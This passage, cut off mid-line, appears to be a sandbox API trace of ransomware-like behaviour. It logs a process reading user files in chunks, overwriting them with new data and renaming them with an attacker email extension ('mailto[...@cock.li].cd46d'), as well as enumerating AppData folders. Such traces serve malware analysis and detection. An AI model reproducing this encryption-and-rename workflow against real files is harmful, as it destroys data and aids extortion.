[0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x16538e00 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x42e692ba [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x6935c528 [0053.869] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x5c405ee9 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x64079168 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x3ea05108 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x4669eba3 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x4639b7f8 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x342e2d8a [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x705fb8ed [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x469b2d5d [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x7ff6e52d [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x77c357e0 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x54449f65 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x600ae651 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x29e51bbc [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x7b52cce3 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0xd80739 [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x284f3c0c [0053.870] RtlRandomEx (in: Seed=0xdf3fcb0 | out: Seed=0xdf3fcb0) returned 0x1a3d29c3 [0053.885] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.885] ReadFile (in: hFile=0xc7c, lpBuffer=0x197fc008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xdf3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x197fc008*, lpNumberOfBytesRead=0xdf3fc5c*=0xc800, lpOverlapped=0x0) returned 1 [0053.887] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bce8 [0053.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0053.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296d8 [0053.888] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4296d8) returned 1 [0053.889] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19808810 [0053.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4296d8 [0053.890] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429430 [0053.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429430) returned 1 [0053.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0053.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0053.890] WriteFile (in: hFile=0xc7c, lpBuffer=0x19808810*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xdf3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x19808810*, lpNumberOfBytesWritten=0xdf3fc5c*=0xc800, lpOverlapped=0x0) returned 1 [0055.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19808810) returned 1 [0055.902] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x200800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.902] ReadFile (in: hFile=0xc7c, lpBuffer=0x197fc008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xdf3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x197fc008*, lpNumberOfBytesRead=0xdf3fc5c*=0xc800, lpOverlapped=0x0) returned 1 [0055.904] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x200800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0055.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0055.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410c8 [0055.904] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410c8) returned 1 [0055.905] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d09960 [0055.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410c8 [0055.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0055.906] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441640) returned 1 [0055.906] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0055.906] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0055.906] WriteFile (in: hFile=0xc7c, lpBuffer=0x12d09960*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xdf3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x12d09960*, lpNumberOfBytesWritten=0xdf3fc5c*=0xc800, lpOverlapped=0x0) returned 1 [0059.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0059.094] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x3dfdd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.094] ReadFile (in: hFile=0xc7c, lpBuffer=0x197fc008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xdf3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x197fc008*, lpNumberOfBytesRead=0xdf3fc5c*=0xc800, lpOverlapped=0x0) returned 1 [0059.095] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x3dfdd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0059.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0059.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0059.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0330) returned 1 [0059.096] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d09960 [0059.096] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0059.096] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a00 [0059.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a00) returned 1 [0059.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0059.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0059.097] WriteFile (in: hFile=0xc7c, lpBuffer=0x12d09960*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xdf3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x12d09960*, lpNumberOfBytesWritten=0xdf3fc5c*=0xc800, lpOverlapped=0x0) returned 1 [0064.382] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0064.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445e48 [0064.383] SetFilePointerEx (in: hFile=0xc7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.383] WriteFile (hFile=0xc7c, lpBuffer=0x4463c0, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0xdf3fd04, lpOverlapped=0x0) Thread: id = 587 os_tid = 0xbdc [0049.894] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3")) returned 0x20 [0051.487] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", dwFileAttributes=0x20) returned 1 [0052.378] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0052.378] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x39bfa58 | out: lpFileSize=0x39bfa58*=4842585) returned 1 [0052.378] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x49e455, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.378] ReadFile (in: hFile=0xd04, lpBuffer=0x39bf9dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39bf9d8, lpOverlapped=0x0 | out: lpBuffer=0x39bf9dc*, lpNumberOfBytesRead=0x39bf9d8*=0x4, lpOverlapped=0x0) returned 1 [0052.380] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.380] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9030 [0052.380] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e90a8 [0052.380] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e90d0 [0052.380] NtQuerySystemTime (in: CurrentTime=0x39bf9b8 | out: CurrentTime=0x39bf9b8*=132174898163616000) returned 0x0 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x6fed20f5 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x4f54350e [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0xcf3bfd3 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0xa9c87d6 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x7fc3c6d3 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x7872c1a8 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x9b53b97 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x6a16928f [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x69204ee4 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x4cc245a9 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x23170364 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x168a1c06 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x2dd5dec2 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x6da57853 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x6ad041d4 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x524ff3e6 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x6d34726f [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x79e2ad7c [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x1b439748 [0052.380] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x2577b818 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x2dcfb226 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x39bb8409 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x6b3637b7 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x346360ae [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x29f47541 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x2a933668 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x552a236f [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x384ca31b [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x456c4e1d [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x48094245 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x18b7b61 [0052.381] RtlRandomEx (in: Seed=0x39bf9c4 | out: Seed=0x39bf9c4) returned 0x75a5237a [0052.393] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.393] ReadFile (in: hFile=0xd04, lpBuffer=0x12edaa70, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x39bf970, lpOverlapped=0x0 | out: lpBuffer=0x12edaa70*, lpNumberOfBytesRead=0x39bf970*=0xc800, lpOverlapped=0x0) returned 1 [0052.395] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0052.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46160 [0052.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9030 [0052.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9030) returned 1 [0052.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ee7278 [0052.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9030 [0052.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e90d0 [0052.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e90d0) returned 1 [0052.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46160) returned 1 [0052.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0052.400] WriteFile (in: hFile=0xd04, lpBuffer=0x12ee7278*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x39bf970, lpOverlapped=0x0 | out: lpBuffer=0x12ee7278*, lpNumberOfBytesWritten=0x39bf970*=0xc800, lpOverlapped=0x0) returned 1 [0057.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ee7278) returned 1 [0057.706] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x258000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.706] ReadFile (in: hFile=0xd04, lpBuffer=0x12edaa70, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x39bf970, lpOverlapped=0x0 | out: lpBuffer=0x12edaa70*, lpNumberOfBytesRead=0x39bf970*=0xc800, lpOverlapped=0x0) returned 1 [0057.707] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x258000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.707] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402c30 [0057.707] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e461d8 [0057.707] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d20 [0057.707] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d20) returned 1 [0057.709] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ee7278 [0057.709] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d20 [0057.709] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cd0 [0057.709] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cd0) returned 1 [0057.709] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.709] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.709] WriteFile (in: hFile=0xd04, lpBuffer=0x12ee7278*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x39bf970, lpOverlapped=0x0 | out: lpBuffer=0x12ee7278*, lpNumberOfBytesWritten=0x39bf970*=0xc800, lpOverlapped=0x0) returned 1 [0059.211] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ee7278) returned 1 [0059.211] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x491c59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.211] ReadFile (in: hFile=0xd04, lpBuffer=0x12edaa70, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x39bf970, lpOverlapped=0x0 | out: lpBuffer=0x12edaa70*, lpNumberOfBytesRead=0x39bf970*=0xc800, lpOverlapped=0x0) returned 1 [0059.212] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x491c59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b68 [0059.212] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b68) returned 1 [0059.213] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ee7278 [0059.214] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b68 [0059.214] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419eb0 [0059.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419eb0) returned 1 [0059.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.214] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.214] WriteFile (in: hFile=0xd04, lpBuffer=0x12ee7278*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x39bf970, lpOverlapped=0x0 | out: lpBuffer=0x12ee7278*, lpNumberOfBytesWritten=0x39bf970*=0xc800, lpOverlapped=0x0) returned 1 [0062.314] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ee7278) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d118 [0062.314] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.314] WriteFile (in: hFile=0xd04, lpBuffer=0x441888*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x39bfa18, lpOverlapped=0x0 | out: lpBuffer=0x441888*, lpNumberOfBytesWritten=0x39bfa18*=0x14d, lpOverlapped=0x0) returned 1 [0062.736] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441888) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa30) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9030) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abf0) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d118) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e90a8) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e90f8) returned 1 [0063.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9120) returned 1 [0063.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c578 [0063.324] wcscpy (in: _Dest=0x45c578, _Source="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" [0063.325] wcscat (in: _Dest=0x45c578, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0063.325] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x39bf9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.325] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e002d0 [0063.326] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0063.326] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4829c0) returned 1 [0063.326] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x39bf9dc, FileInformation=0x39bf9b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39bf9dc, FileInformation=0x39bf9b4) returned 0x0 [0063.326] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x39bf9dc, FileInformation=0x39bf9b4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.327] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c578) returned 1 [0063.327] FlushFileBuffers (hFile=0xd04) returned 1 [0066.203] CloseHandle (hObject=0xd04) Thread: id = 588 os_tid = 0xbe0 [0049.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447d38 [0049.894] wcscpy (in: _Dest=0x447d38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" [0049.894] wcscat (in: _Dest=0x447d38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\" [0049.894] wcscat (in: _Dest=0x447d38, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0049.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8330 [0049.894] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440860 [0049.895] wcscmp (_String1=".", _String2=".") returned 0 [0049.895] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.895] wcscmp (_String1="..", _String2=".") returned 1 [0049.895] wcscmp (_String1="..", _String2="..") returned 0 [0049.895] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0049.895] wcscmp (_String1="10.0", _String2=".") returned 1 [0049.896] wcscmp (_String1="10.0", _String2="..") returned 1 [0049.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4168a0 [0049.896] wcscpy (in: _Dest=0x4168a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" [0049.896] wcscat (in: _Dest=0x4168a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\" [0049.896] wcscat (in: _Dest=0x4168a0, _Source="10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS 